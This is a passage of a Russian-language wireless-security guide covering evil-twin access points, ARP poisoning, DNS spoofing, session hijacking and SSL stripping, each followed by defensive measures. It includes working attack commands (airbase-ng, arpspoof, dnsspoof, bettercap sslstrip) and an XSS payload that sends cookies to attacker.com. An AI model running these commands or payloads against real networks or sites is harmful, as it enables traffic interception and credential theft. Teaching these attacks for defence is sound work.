Пример команды для создания поддельной точки доступа:

airbase-ng -e "Free_Coffee_WiFi" -c 6 wlan0mon

Теперь любое устройство, которое автоматически подключается к известным SSID, находится под угрозой.

2. Несанкционированная точка доступа с прохождением интернета (MITM)
Вместо простой кражи учетных данных атакующий может направлять трафик через свою точку доступа, манипулировать веб-страницами или выполнять SSL-стриппинг.
Пример настройки:
● Создать поддельную точку доступа
● Включить переадресацию IP
● Запустить Ettercap или MITMf для модификации пакетов

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 -t [IP жертвы] -r [IP шлюза]
sslstrip -l 8080

В этот момент вся сессия жертвы может быть перехвачена или изменена.

Как обнаружить несанкционированные точки доступа

1. Ручное сканирование с помощью анализаторов Wi-Fi
Вы можете использовать инструменты для сканирования неизвестных точек доступа в вашей среде. Некоторые из лучших инструментов включают:
● Kismet (Linux)
● Wireshark (для анализа подозрительного трафика)
● Acrylic Wi-Fi Analyzer (Windows)
● NetSpot (Mac и Windows)
Просто ищите дубликаты SSID, неожиданные открытые сети или странные BSSID, которые не соответствуют вашей реальной инфраструктуре.

2. Мониторинг сети и ведение журналов
Решения корпоративного уровня, такие как:
● Cisco Wireless Intrusion Prevention System (wIPS)
● Aruba RF Protect
● AirMagnet Enterprise
Эти инструменты постоянно сканируют неавторизованные точки доступа и помечают их в режиме реального времени.

3. Использование Aircrack-ng для обнаружения несанкционированных точек доступа
Запустите airodump-ng для сканирования всех ближайших точек доступа:
airodump-ng wlan0mon
Ищите дубликаты SSID или точки доступа, вещающие на неожиданных каналах - это серьезный красный флаг.

Как предотвратить атаки с использованием несанкционированных точек доступа

✅ 1. Внедрите WPA3 и надежную аутентификацию
Использование WPA3 корпоративного уровня с аутентификацией 802.1X гарантирует, что только одобренные пользователи и устройства могут подключаться.
✅ 2. Отключите автоподключение на всех устройствах
Устройства, которые автоматически подключаются к известным SSID, являются основными целями для атак Evil Twin. Отключите автоподключение для общедоступных сетей.
✅ 3. Внедрите политики обнаружения несанкционированных точек доступа
Используйте системы обнаружения беспроводных вторжений (WIDS), чтобы оповещать администраторов при появлении неавторизованных точек доступа.
✅ 4. Регулярно сканируйте на наличие несанкционированных точек доступа
Вручную или с помощью автоматизированных инструментов, таких как Kismet или AirMagnet.
✅ 5. Блокируйте неавторизованные точки доступа на сетевом уровне
Используйте MAC-фильтрацию (да, она слабая, но немного помогает) и сегментацию VLAN, чтобы предотвратить доступ несанкционированных точек доступа к внутренним сетям.
✅ 6. Обучайте пользователей безопасному использованию Wi-Fi
Научите сотрудников:
● Никогда не подключайтесь к неизвестным сетям Wi-Fi
● Проверяйте названия сетей перед подключением
● Используйте VPN для конфиденциальной работы

Заключительные мысли: Будьте на шаг впереди

Несанкционированные точки доступа - один из самых простых и эффективных способов для атакующих скомпрометировать сети. Лучшая защита? Постоянная бдительность, надежная аутентификация и регулярный мониторинг.
Так что в следующий раз, когда вы увидите бесплатную сеть Wi-Fi под названием "Starbucks_Free_WiFi", подумайте дважды, прежде чем подключаться - потому что есть большая вероятность, что это не Starbucks… это просто какой-то парень в толстовке, запускающий Kali Linux.


Глава 5: Атаки типа "человек посередине" (MITM) в беспроводных сетях​

Когда-нибудь любопытный друг читал ваши сообщения через плечо? Это раздражает. А теперь представьте, что кто-то делает это со всем вашим интернет-трафиком. Это, в двух словах, атака "человек посередине" (MITM) - только вместо любопытного друга это хакер, перехватывающий вашу электронную почту, пароли и конфиденциальные данные, пока вы беззаботно просматриваете веб-страницы. Коварно? Да. Распространено? Абсолютно.
Эта глава расскажет об атаках MITM в беспроводных сетях, охватывая такие методы, как ARP-отравление, DNS-спуфинг и SSL-стриппинг. Вы узнаете, как атакующие перехватывают и манипулируют сетевым трафиком, угоняют сессии и компрометируют безопасные коммуникации. Что еще более важно, мы обсудим меры защиты, включая лучшие практики шифрования и методы обнаружения вторжений, чтобы сохранить вашу сеть в безопасности от подслушивающих.

5.1 Введение в MITM в беспроводных сетях​

Итак, давайте поговорим об атаках "человек посередине" (MITM), которые, по сути, являются эквивалентом тайного прослушивания ваших личных разговоров в кофейне в мире Wi-Fi - только в этом случае этот подслушивающий может красть ваши пароли, внедрять вредоносное ПО и манипулировать вашими данными в реальном времени. Весело, правда?
Представьте себе: вы отдыхаете в своей любимой кофейне, потягиваете слишком дорогой кофе и просматриваете Instagram. Тем временем хакер по имени Боб (который сидит за двумя столиками дальше с ноутбуком и самодовольной ухмылкой) перехватывает каждый пакет данных, который вы отправляете и получаете. Боб знает, какие сайты вы посещаете, видит ваши учетные данные для входа и даже может изменять контент, который вы видите. Добро пожаловать в удивительный мир беспроводных атак MITM!

Что такое атака "человек посередине" (MITM)?

Атака "человек посередине" (MITM) происходит, когда атакующий тайно перехватывает и манипулирует коммуникациями между двумя сторонами - без их ведома. В беспроводных сетях это обычно означает:
● Перехват незашифрованного трафика (классическое прослушивание).
● Изменение пакетов для внедрения вредоносных полезных нагрузок.
● Угон активных сессий для кражи учетных записей.
● Выполнение SSL-стриппинга для понижения уровня безопасных соединений.
Ключ к атаке MITM? Размещение атакующего между жертвой и ее предполагаемым местом назначения.
Атаки MITM опасны, потому что они не требуют от жертв установки вредоносного ПО - если атакующий контролирует сеть Wi-Fi или обманывает устройства, заставляя их подключаться к поддельной точке доступа, ущерб происходит незаметно.

Как работает MITM в беспроводных сетях

Существует три основных способа, которыми атакующие осуществляют атаки MITM в средах Wi-Fi:

1. Несанкционированные точки доступа (атаки Evil Twin)
Атакующий создает поддельную сеть Wi-Fi, которая выглядит идентично реальной. Жертвы подключаются, думая, что это безопасно - но все их данные теперь проходят через ноутбук атакующего.
Как это делается: Создайте поддельную точку доступа с помощью airbase-ng:

airbase-ng -e "Starbucks_WiFi" -c 6 wlan0mon

Перехватывайте и манипулируйте трафиком с помощью Wireshark, Ettercap или MITMf.

2. ARP-отравление (ARP-спуфинг)
Атакующие обманывают сеть, заставляя ее отправлять трафик на свою машину вместо легитимного маршрутизатора. Это позволяет им перехватывать и изменять пакеты.
Как это делается:
Сначала включите переадресацию IP:

echo 1 > /proc/sys/net/ipv4/ip_forward
Используйте arpspoof для отравления ARP-кэша:
arpspoof -i wlan0 -t [IP жертвы] -r [IP шлюза]

Теперь весь трафик жертвы проходит через устройство атакующего.

3. DNS-спуфинг
Вместо простой перехвата трафика атакующие могут перенаправлять жертв на поддельные веб-сайты (например, на фишинговую страницу, которая выглядит точно так же, как PayPal или Facebook).
Как это делается:
Измените настройки DNS жертвы с помощью dnsspoof:

dnsspoof -i wlan0 -f dns.conf

Создайте файл поддельного DNS-ответа (dns.conf):

192.168.1.100 facebook.com
192.168.1.100 paypal.com

Теперь, когда жертва пытается посетить Facebook или PayPal, она попадает на поддельную страницу, предназначенную для кражи ее учетных данных.

Реальные примеры атак MITM

1. Ловушка Wi-Fi в аэропорту
Атакующие создают сеть "Free Airport Wi-Fi". Путешественники подключаются, и атаки MITM перехватывают электронные письма, пароли и даже данные кредитных карт.
2. Трюк с корпоративным шпионажем
Хакер, находящийся недалеко от офиса компании, создает несанкционированную точку доступа под названием "Company_Guest_WiFi". Сотрудники подключаются, думая, что это официальная гостевая сеть. Затем хакер перехватывает конфиденциальные электронные письма, крадет учетные данные для входа и получает доступ к корпоративным ресурсам.
3. Кошмар общедоступного Wi-Fi
В кофейнях, отелях и библиотеках атакующие используют ARP-спуфинг для перехвата трафика ничего не подозревающих пользователей. Они могут легко изменять банковские транзакции, внедрять вредоносное ПО или красть учетные данные.

Защита от беспроводных атак MITM

✅ 1. Используйте зашифрованные протоколы (HTTPS, TLS, VPN)
● Всегда ищите HTTPS в адресной строке браузера.
● Используйте VPN при подключении к общедоступному Wi-Fi.
✅ 2. Избегайте общедоступного Wi-Fi или используйте мобильные данные
Если вам необходимо использовать общедоступный Wi-Fi, не заходите в конфиденциальные учетные записи. Ваша мобильная точка доступа безопаснее, чем этот бесплатный Wi-Fi в кафе.
✅ 3. Включите рандомизацию MAC-адресов
Современные устройства поддерживают рандомизацию MAC-адресов, что помогает избежать отслеживания и целевых атак MITM.
✅ 4. Обнаруживайте несанкционированные точки доступа и попытки спуфинга
Используйте такие инструменты, как:
● Kismet (для обнаружения несанкционированных точек доступа).
● Wireshark (для анализа подозрительного трафика).
● ARPWatch (для обнаружения попыток ARP-спуфинга).
✅ 5. Внедрите HSTS (HTTP Strict Transport Security)
Для владельцев веб-сайтов HSTS предотвращает атаки SSL-стриппинга, заставляя браузеры использовать только HTTPS.
✅ 6. Используйте надежные механизмы аутентификации
● WPA3 с аутентификацией 802.1X значительно затрудняет проведение атак MITM.
● Избегайте WEP и WPA2-Personal, так как они уязвимы для взлома.

Заключительные мысли: Не позволяйте хакерам находиться между вами и вашими данными

Атаки MITM пугают, потому что они невидимы - ваше соединение выглядит нормально, но кто-то тихо крадет ваши данные.
Но теперь вы знаете, как работают эти атаки и как защититься. Так что в следующий раз, когда вы будете в кафе и увидите сеть Wi-Fi под названием "Free_Internet_4U", возможно, подумайте дважды, прежде чем подключаться. Это может быть просто хакер Боб, ожидающий своей следующей жертвы.

5.2 ARP Poisoning и DNS Spoofing в сетях Wi-Fi​

Ах, ARP poisoning и DNS spoofing - два самых коварных, скрытных и откровенно раздражающих приема в арсенале хакера. Представьте себе: вы с удовольствием просматриваете веб-страницы, думая, что безопасно входите в свой банковский аккаунт. Тем временем злоумышленник перенаправил вас на идеальную копию сайта вашего банка, перехватывая каждое нажатие клавиши, когда вы вводите имя пользователя и пароль. Больно, да?
Добро пожаловать в мир атак типа "человек посередине" (Man-in-the-Middle, MITM), где злоумышленники перехватывают и манипулируют сетевым трафиком, даже не давая вам об этом догадаться. ARP poisoning и DNS spoofing - это две классические техники, которые делают этот кошмар возможным. Но не волнуйтесь - мы разберем все по полочкам, покажем, как работают эти атаки, и, самое главное, как от них защититься.

Что такое ARP Poisoning?

ARP (Address Resolution Protocol) - это протокол, который позволяет устройствам в локальной сети сопоставлять IP-адреса с MAC-адресами. Каждый раз, когда ваше устройство хочет отправить данные другому устройству в сети, оно сначала спрашивает:
"Эй, у кого IP-адрес 192.168.1.1? Сообщите мне свой MAC-адрес!"
Настоящий владелец этого IP-адреса отвечает своим MAC-адресом, и связь устанавливается. Просто, правда?
Ну, вот в чем проблема:
ARP не имеет аутентификации. Ответить может любой в сети, даже если он не является законным владельцем этого IP-адреса. Это позволяет злоумышленникам обманывать устройства, заставляя их отправлять трафик им, а не настоящему получателю.

Как работает ARP Poisoning

При атаке ARP poisoning злоумышленник отправляет поддельные ARP-ответы устройствам в сети, заставляя их поверить, что устройство злоумышленника является шлюзом (маршрутизатором).
Пошаговая атака:
● Злоумышленник сканирует сеть, чтобы определить устройства и шлюз по умолчанию (маршрутизатор).
● Злоумышленник отправляет поддельные ARP-пакеты жертвам, сообщая им:
● "Эй, это я - маршрутизатор! Отправляйте мне все свои данные".
● Жертвы обновляют свои ARP-таблицы, полагая, что MAC-адрес злоумышленника принадлежит маршрутизатору.
● Весь трафик, предназначенный для маршрутизатора, теперь направляется через устройство злоумышленника, что позволяет перехватывать пакеты, красть учетные данные и угонять сессии.

Как выполнить ARP Poisoning (только в образовательных целях)
Используя arpspoof, злоумышленник может легко запустить атаку ARP poisoning:

arpspoof -i wlan0 -t 192.168.1.100 -r 192.168.1.1

Эта команда сообщает жертве (192.168.1.100), что машина злоумышленника является маршрутизатором (192.168.1.1).

Что такое DNS Spoofing?

DNS (Domain Name System) - это система, которая преобразует удобные для человека доменные имена (например, google.com) в IP-адреса (142.250.190.78). Когда вы вводите google.com, ваше устройство обращается к DNS-серверу для получения IP-адреса.
Вот в чем проблема: DNS-запросы не всегда шифруются, и многие сети по-прежнему используют небезопасные DNS-протоколы, что делает их уязвимыми для спуфинга.
DNS spoofing (или DNS poisoning) - это когда злоумышленник манипулирует DNS-ответами, чтобы перенаправить жертв на вредоносные веб-сайты. Вместо того чтобы попасть на facebook.com, вы, ничего не подозревая, попадаете на поддельную версию, контролируемую злоумышленником.

Как работает DNS Spoofing

Пошаговая атака:
● Злоумышленник отравляет DNS-кэш сети, заставляя его хранить ложные соответствия доменных имен IP-адресам.
● Жертва запрашивает www.facebook.com.
● Вместо получения реального IP-адреса Facebook, жертва перенаправляется на фишинговый сайт, контролируемый злоумышленником.
● Жертва вводит свои учетные данные, думая, что это настоящий сайт - но злоумышленник теперь имеет ее пароль.

Как выполнить DNS Spoofing

Используя dnsspoof, злоумышленник может перехватывать DNS-запросы и отправлять поддельные ответы:

dnsspoof -i wlan0

Чтобы перенаправить определенные домены, злоумышленник может создать файл dns.conf:

192.168.1.200 facebook.com
192.168.1.200 paypal.com

Теперь, когда жертва попытается посетить Facebook или PayPal, она будет перенаправлена на поддельную фишинговую страницу, контролируемую злоумышленником.

Примеры атак ARP Poisoning и DNS Spoofing в реальном мире

1. Перехват в кофейне
Злоумышленник подключается к общедоступной сети Wi-Fi в кафе. Используя ARP poisoning, он перехватывает весь трафик, получая учетные данные для входа, электронные письма и личные сообщения. Затем он использует DNS spoofing для перенаправления жертв на фишинговые страницы.
2. Корпоративный шпионаж
Хакер внутри компании отравляет ARP-таблицы сотрудников, перехватывая внутренние электронные письма, передачу файлов и учетные данные для облачных сервисов.
3. Кража данных онлайн-банкинга
Хакер подменяет DNS-настройки маршрутизатора, заставляя всех пользователей неосознанно посещать поддельный сайт онлайн-банкинга, крадя учетные данные для входа и финансовые данные.

Как защититься от ARP Poisoning и DNS Spoofing

✅ 1. Используйте статические ARP-записи (когда это возможно)
Если вы управляете небольшой сетью, ручная настройка статических ARP-записей может предотвратить ARP poisoning:

arp -s 192.168.1.1 00:1A:2B:3C:4D:5E

Это навсегда связывает правильный MAC-адрес с вашим маршрутизатором.
✅ 2. Включите обнаружение ARP Spoofing
Инструменты, такие как ARPWatch и XArp, могут отслеживать подозрительную ARP-активность.
✅ 3. Используйте зашифрованный DNS (DNS over HTTPS или DNS over TLS)
Переключение на безопасные DNS-сервисы, такие как Cloudflare (1.1.1.1) или Google DNS (8.8.8.8) с поддержкой DNS over HTTPS (DoH), может предотвратить DNS spoofing.
✅ 4. Используйте сегментацию сети и VLAN
Правильная сегментация сети не позволяет злоумышленникам легко получить доступ к жертвам в той же сети.
✅ 5. Используйте VPN
VPN шифрует весь ваш трафик, делая атаки типа "человек посередине", такие как ARP poisoning и DNS spoofing, неэффективными.
✅ 6. Внедрите Dynamic ARP Inspection (DAI) в корпоративных сетях
DAI проверяет ARP-пакеты и отбрасывает вредоносные, предотвращая ARP poisoning.

Заключение: будьте на шаг впереди злоумышленников

ARP poisoning и DNS spoofing ужасающе эффективны, потому что они используют фундаментальные уязвимости сетевых протоколов. Но теперь, когда вы знаете, как работают эти атаки, вы лучше подготовлены к защите.
В следующий раз, находясь в общедоступной сети Wi-Fi, спросите себя: "Это действительно мой маршрутизатор... или кто-то поблизости перенаправляет мое интернет-соединение?" Оставайтесь в безопасности, будьте параноиками и всегда ставьте под сомнение сеть, к которой вы подключаетесь.

5.3 Угон сессий и перехват учетных данных​

Итак, представьте: вы потягиваете свой слишком дорогой карамельный макиато в уютном кафе, просматривая любимое приложение в социальных сетях, совершенно не подозревая, что кто-то поблизости угоняет вашу сессию и крадет ваши учетные данные в реальном времени. Вы делаете глоток, они забирают ваши куки. Справедливый обмен? Вряд ли.
Добро пожаловать в мир угона сессий и перехвата учетных данных, где злоумышленникам даже не нужен ваш пароль, чтобы войти в ваши онлайн-аккаунты. Они просто крадут вашу активную сессию и берут на себя управление, как будто они здесь хозяева. В этой главе мы разберем, как работает эта атака, почему она так опасна, и, самое главное, как вы можете защитить себя от цифрового ограбления.

Что такое угон сессий?

Каждый раз, когда вы входите на веб-сайт, сервер создает сессию для отслеживания вашего статуса аутентификации. Эта сессия идентифицируется идентификатором сессии (session ID), который обычно хранится в файле cookie или в URL.

Проблема?

Идентификаторы сессий можно украсть. И как только злоумышленник заполучит ваш идентификатор сессии, ему больше не нужен ваш пароль - он просто выдает себя за вас и получает доступ к вашему аккаунту, как будто он - это вы.

Как работает угон сессий

Пошаговая атака:
● Жертва входит на веб-сайт (например, Facebook, онлайн-банкинг, электронная почта).
● Сервер назначает идентификатор сессии для поддержания аутентификации пользователя.
● Злоумышленник крадет идентификатор сессии с помощью различных техник, таких как перехват пакетов, XSS или вредоносное ПО.
● Злоумышленник использует украденный идентификатор сессии для доступа к аккаунту жертвы без необходимости ввода пароля.
● Жертва все еще авторизована и не подозревает, что ее аккаунт используется в реальном времени.
● Распространенные методы угона сессий

1. Перехват пакетов (он же "Кошмар Wi-Fi")
В незащищенной сети Wi-Fi (например, в кафе, аэропортах или отелях) файлы cookie сессии часто передаются в незашифрованном виде. Злоумышленник, использующий Wireshark, может перехватывать трафик, извлекать идентификаторы сессий и угонять активные сессии.

Пример атаки с использованием Wireshark
Злоумышленник подключается к той же общедоступной сети Wi-Fi, что и жертва.
Он запускает Wireshark и начинает захватывать пакеты:

tshark -i wlan0 -Y "http.cookie"

Если жертва входит на сайт без HTTPS, злоумышленник может легко извлечь cookie сессии.
Он использует Cookie Editor (расширение для браузера), чтобы внедрить украденный идентификатор сессии и получить полный доступ к аккаунту жертвы.
🚨 Страшно, правда? Вот почему использовать общедоступный Wi-Fi без VPN - ужасная идея.

2. Атаки межсайтового скриптинга (XSS)
Другой распространенный метод кражи файлов cookie сессии - XSS (Cross-Site Scripting). Если веб-сайт уязвим, злоумышленник может внедрить вредоносный скрипт, который захватывает cookie сессии жертвы и отправляет их злоумышленнику.

Пример XSS-атаки для кражи куки

Злоумышленник внедряет следующий вредоносный JavaScript в раздел комментариев на уязвимом веб-сайте:
<script>document.location='http://attacker.com/steal.php?cookie=' + document.cookie;</script>
Когда жертва просматривает зараженную страницу, ее cookie сессии отправляются на сервер злоумышленника. Бум - сессия угнана.

3. Фиксация сессии (принудительное назначение идентификатора сессии жертве)
В этой хитрой атаке злоумышленник заставляет жертву использовать заранее определенный идентификатор сессии. Когда жертва входит в систему, злоумышленник повторно использует тот же идентификатор сессии для захвата аккаунта.

Пример сценария атаки
Злоумышленник генерирует идентификатор сессии на целевом сайте:

● Злоумышленник обманом заставляет жертву перейти по ссылке (через фишинговое письмо или социальную инженерию).
● Жертва входит в систему, неосознанно используя предустановленный злоумышленником идентификатор сессии.
● Теперь злоумышленник может просто повторно использовать идентификатор сессии и получить доступ к аккаунту жертвы.
🔥 Урок: Всегда выходите из системы после использования общих/общедоступных устройств.

Что такое перехват учетных данных?

Перехват учетных данных - это когда злоумышленник крадет ваши учетные данные для входа (имя пользователя и пароль) вместо вашего идентификатора сессии. Это может быть сделано с помощью:
Атаки типа "человек посередине" (MITM)
● Поддельные страницы входа (фишинг)
● Кейлоггеры
● Вредоносное ПО и троянские кони
Короче говоря, они не крадут вашу сессию - они крадут ваши реальные данные для входа.

Как работает перехват учетных данных

1. Атаки MITM (перехват запросов на вход)
Злоумышленники в той же сети Wi-Fi могут перехватывать учетные данные для входа, если веб-сайт не использует HTTPS.
2. Фишинг (поддельные страницы входа)
Злоумышленник создает идеальную копию страницы входа (например, Facebook, PayPal или Gmail). Жертва вводит свои учетные данные, и злоумышленник их перехватывает.
3. Кейлоггеры и вредоносное ПО
Кейлоггер тайно записывает все, что набирает жертва, включая имена пользователей и пароли. Жутковато.

Как защититься от угона сессий и перехвата учетных данных

✅ 1. Используйте HTTPS везде
Если веб-сайт не использует HTTPS, считайте его небезопасным. Используйте расширение браузера HTTPS Everywhere.
✅ 2. Всегда используйте VPN в общедоступных сетях Wi-Fi
VPN шифрует ваш трафик, делая перехват трафика Wi-Fi бесполезным.
✅ 3. Выходите из системы, когда закончили
Если вы используете общее устройство, всегда выходите из системы. Никогда не оставляйте сессии открытыми.
✅ 4. Включите многофакторную аутентификацию (MFA)
Даже если злоумышленник украдет вашу сессию, MFA может помешать ему снова войти в систему.
✅ 5. Используйте безопасные расширения браузера
Расширения, такие как Cookie AutoDelete, удаляют файлы cookie после закрытия вкладки, снижая риск угона сессии.
✅ 6. Остерегайтесь фишинговых попыток
Никогда не вводите учетные данные по ссылке, которую вы не ввели вручную в браузере.
✅ 7. Используйте надежные, уникальные пароли
Менеджер паролей может генерировать и хранить надежные пароли, что затрудняет их кражу.

Заключение: будьте на шаг впереди

Угон сессий и перехват учетных данных - это не шутки; они реальны, опасны и происходят каждый день. Но с помощью правильных мер предосторожности вы можете опередить злоумышленников.
В следующий раз, когда вы будете входить в систему, спросите себя:
"Безопасна ли эта сеть? Может ли кто-то перехватывать мою сессию? Не передал ли я только что свои учетные данные поддельному сайту?"
Потому что, поверьте мне, в мире хакинга паранойя - это хорошо. Оставайтесь в безопасности, оставайтесь зашифрованными и всегда следите за этими файлами cookie сессии!

5.4 SSL Stripping и атаки понижения уровня​

Ах, SSL - наш любимый цифровой телохранитель, неустанно шифрующий наш интернет-трафик и держащий хакеров на расстоянии. Но что, если я скажу вам, что у злоумышленников есть способ снять эту защиту и заставить ваше соединение вернуться в небезопасное состояние? Верно, SSL stripping и атаки понижения уровня (downgrade attacks) - это как убедить банк перевозить наличные в открытом грузовике вместо бронированного автомобиля. Это мечта хакера и кошмар безопасности.
В этом разделе мы углубимся в то, как работают эти атаки, почему они так опасны, и, самое главное, как защитить себя от того, чтобы стать следующей легкой мишенью.

Что такое SSL Stripping?

Представьте себе: вы входите на свой любимый веб-сайт, уверенные, что ваши учетные данные надежно шифруются с помощью HTTPS. Но на самом деле злоумышленник тайно понижает уровень вашего соединения, снимает HTTPS и заставляет ваш браузер общаться через обычный, незашифрованный HTTP. Ой.
SSL stripping - это атака типа "человек посередине" (MITM), при которой злоумышленник перехватывает ваше соединение и понижает его до незашифрованного HTTP, что облегчает кражу учетных данных для входа, файлов cookie сессии и других конфиденциальных данных.

Как работает SSL Stripping

● Жертва подключается к общедоступной сети Wi-Fi (кафе, аэропорт, отель).
● Злоумышленник настраивает атаку MITM, используя такие инструменты, как Bettercap или sslstrip.
● Жертва посещает HTTPS-сайт (например, https://bank.com).
● Злоумышленник перехватывает запрос и перенаправляет его на сервер через HTTPS, но отвечает жертве через HTTP.
● Жертва неосознанно взаимодействует с сайтом через HTTP, раскрывая свои данные в открытом виде.
● Злоумышленник крадет учетные данные, файлы cookie сессии и другую конфиденциальную информацию.

Атака SSL Stripping в действии

Допустим, вы подключаетесь к бесплатному Wi-Fi в аэропорту. Вы открываете браузер и вводите https://example.com. Вот что происходит при атаке SSL stripping:
Злоумышленник перехватывает ваш запрос.
● Вместо того чтобы позволить вашему браузеру загрузить безопасную версию HTTPS, злоумышленник снимает SSL и перенаправляет вас на http://example.com.
● Вы не замечаете изменения, потому что многие веб-сайты по-прежнему корректно загружаются через HTTP.
● Когда вы вводите свои учетные данные для входа, они передаются в открытом тексте - и злоумышленник их перехватывает.

Что такое атаки понижения уровня?

Атаки понижения уровня - это еще один хитрый трюк, используемый для принудительного перевода безопасного соединения в небезопасное, но вместо полного снятия SSL злоумышленник заставляет клиент и сервер договариваться о более слабом шифровании или устаревших протоколах.
Распространенные атаки понижения уровня:
Принудительное использование старых версий SSL/TLS
● Злоумышленники заставляют соединение использовать SSL 3.0 или слабые TLS 1.0/1.1, которые имеют известные уязвимости.
● Пример: атака POODLE использует уязвимость SSL 3.0 для расшифровки безопасного трафика.

Нарушение согласования шифров

Злоумышленник принудительно использует более слабые шифры шифрования, что облегчает их расшифровку.
Пример: атака Logjam ослабляет обмен ключами Диффи-Хеллмана.

Перехват HSTS (HTTP Strict Transport Security)

● Веб-сайты, использующие HSTS, автоматически принудительно используют HTTPS.
● Злоумышленники могут перехватывать заголовки HSTS, чтобы браузер не применял HTTPS.

Атака SSL Stripping с помощью Bettercap

Хакер может использовать Bettercap (мощный инструмент для атак MITM) для снятия SSL с соединений.
1. Запустите Bettercap и включите ARP Spoofing

sudo bettercap -iface wlan0

2. Включите SSL Stripping

set http.proxy.sslstrip true
set http.proxy on
set arp.spoof on
run

Теперь все HTTPS-соединения будут понижены до HTTP, и злоумышленник сможет перехватывать учетные данные для входа в открытом виде.

Как защититься от атак SSL Stripping и понижения уровня

✅ 1. Всегда проверяйте наличие HTTPS
● Ищите значок замка в адресной строке.
● Если сайт внезапно загружается через HTTP, немедленно прекратите его использование.
✅ 2. Включите HTTPS Everywhere
● Установите расширение браузера HTTPS Everywhere.
● Оно принудительно устанавливает HTTPS-соединения, даже если злоумышленник пытается их снять.
✅ 3. Используйте VPN в общедоступных сетях Wi-Fi
● VPN шифрует весь ваш трафик до того, как он достигнет злоумышленника.
● Даже если SSL будет снят, ваши данные останутся в безопасности внутри туннеля VPN.
✅ 4. Включите предварительную загрузку HSTS
● Веб-сайты должны использовать HSTS (HTTP Strict Transport Security) для принудительного использования HTTPS.
● HSTS предотвращает атаки SSL stripping, отказываясь загружать HTTP-версии сайта.
✅ 5. Используйте современные браузеры
● Chrome, Firefox и Edge имеют встроенную защиту от SSL stripping.
● Обновляйте свой браузер, чтобы убедиться, что защита от понижения уровня TLS включена.
✅ 6. Отключите устаревшие версии SSL/TLS
● Отключите TLS 1.0 и 1.1 в настройках вашего браузера и сервера.
● Убедитесь, что ваш сайт принудительно использует TLS 1.2 или выше.

Заключение: не позволяйте злоумышленникам лишить вас защиты

Атаки SSL stripping и понижения уровня ужасающе эффективны, но они работают только в том случае, если вы о них не знаете. В следующий раз, когда вы будете просматривать веб-страницы в общедоступной сети Wi-Fi, помните:
🔒🛡️
● Всегда проверяйте наличие HTTPS
● Используйте VPN, если сомневаетесь
● Регулярно обновляйте браузер и настройки

🔄 Потому что последнее, чего вы хотите, - это чтобы какой-нибудь хакер вынюхивал ваши учетные данные для входа, пока вы заняты лайканьем видео с котиками.
Оставайтесь в безопасности, оставайтесь зашифрованными и никогда не позволяйте вашей безопасности понижаться!

5.5 Защита сетей от атак MITM по беспроводным сетям​

Ах, атаки типа "человек посередине" (MITM) - любимый способ каждого хакера превратить ваш Wi-Fi в шведский стол данных. Представьте себе киберпреступника, сидящего в кафе, потягивающего латте и незаметно перехватывающего ваши пароли, электронные письма и данные кредитных карт, пока вы блаженно просматриваете мемы. Неприятно, правда?
Что ж, хорошая новость в том, что атаки MITM можно предотвратить - если вы знаете, на что обращать внимание и как себя защитить. В этой главе мы рассмотрим, как защитить сети от атак MITM, охватывая лучшие практики, инструменты и методы защиты в реальном мире, чтобы ваши данные оставались в безопасности от посторонних глаз.

Понимание атак MITM в сетях Wi-Fi

Атаки MITM работают, обманывая ваше устройство, заставляя его думать, что система злоумышленника является законной сетью или сервером. Это позволяет им перехватывать, изменять и даже внедрять вредоносные данные в ваше соединение. Распространенные методы MITM включают:
● ARP Spoofing: Обман устройств, заставляющий их отправлять трафик злоумышленнику вместо маршрутизатора.
● DNS Spoofing: Перенаправление вас на поддельные веб-сайты, которые выглядят как настоящие.
● Rogue APs и Evil Twins: Поддельные сети Wi-Fi, предназначенные для кражи ваших учетных данных.
● SSL Stripping: Понижение уровня HTTPS до HTTP для перехвата конфиденциальных данных в открытом виде.

Если злоумышленнику удается успешно выполнить атаку MITM, он может:

✅ Украсть учетные данные для входа (электронная почта, банковские данные, социальные сети).
✅ Перехватить файлы cookie сессии (обходя аутентификацию).
✅ Изменять содержимое веб-сайта (внедрять вредоносное ПО или фишинговые ссылки).
✅ Перехватывать электронные письма, сообщения чата и личные данные.

Итак, как же их остановить? Давайте разберем методы защиты.

1. Защита сетей Wi-Fi с помощью надежного шифрования
Первый и самый важный шаг в предотвращении атак MITM - использование надежных настроек безопасности Wi-Fi.
✅ Используйте WPA3 (или хотя бы WPA2-Enterprise)
● Избегайте WEP и WPA - они легко взламываются за считанные минуты.
● WPA2-PSK неплох, но WPA3 - золотой стандарт (использует Simultaneous Authentication of Equals (SAE) для предотвращения офлайн-атак).
✅ Отключите открытые сети Wi-Fi
● Общедоступный Wi-Fi = рай для хакеров.
● Если вам необходимо предоставлять общедоступный Wi-Fi, используйте порталы авторизации с WPA2-Enterprise и изолируйте клиентские устройства.
✅ Включите фильтрацию MAC-адресов (с осторожностью)
● Это не остановит продвинутого злоумышленника (они могут подделывать MAC-адреса), но добавляет дополнительный уровень защиты от случайных атак.

2. Обнаружение и блокировка неавторизованных точек доступа (Rogue AP) и атак "Злой двойник" (Evil Twin)
Хакеры часто создают поддельные сети Wi-Fi с названиями вроде "Starbucks Free Wi-Fi" или "Airport Secure Wi-Fi", чтобы заманить жертв подключиться.
✅ Используйте системы обнаружения/предотвращения беспроводных вторжений (WIDS/WIPS). Инструменты, такие как AirMarshal, Kismet или Aruba RFProtect, могут обнаруживать неавторизованные точки доступа и отключать неавторизованные устройства.
✅ Внедряйте изоляцию точек доступа (AP Isolation) и сегментацию VLAN
Предотвратите связь между клиентами, чтобы устройства в одной сети Wi-Fi не могли шпионить друг за другом.
✅ Обучайте пользователей проверять названия сетей
● Если вы находитесь в аэропорту или кафе, перед подключением уточните официальное название Wi-Fi.
● Еще лучше: используйте персональную точку доступа вместо общедоступного Wi-Fi.

3. Предотвращение ARP-спуфинга и DNS-спуфинга
Атакующие типа "человек посередине" (MITM) любят отравлять ваши ARP-таблицы (обманывая ваше устройство, заставляя его думать, что они - маршрутизатор).
✅ Включите динамическую инспекцию ARP (DAI)
● Защита на уровне коммутатора, блокирующая атаки ARP-спуфинга.
✅ Используйте безопасный DNS (DNS over HTTPS или DNSSEC)
● Предотвращает перенаправление вас на поддельные сайты злоумышленниками.
● Google DNS (8.8.8.8) и Cloudflare (1.1.1.1) поддерживают DNS over HTTPS (DoH).
✅ Используйте инструменты обнаружения ARP-спуфинга
● arpwatch, XArp или Ettercap могут отслеживать несоответствия в ARP-таблицах и оповещать вас.

4. Шифруйте всё (чтобы атаки MITM были бесполезны)
Даже если злоумышленник проникнет в вашу сеть, шифрование может свести его атаку на нет.
✅ Используйте HTTPS Everywhere
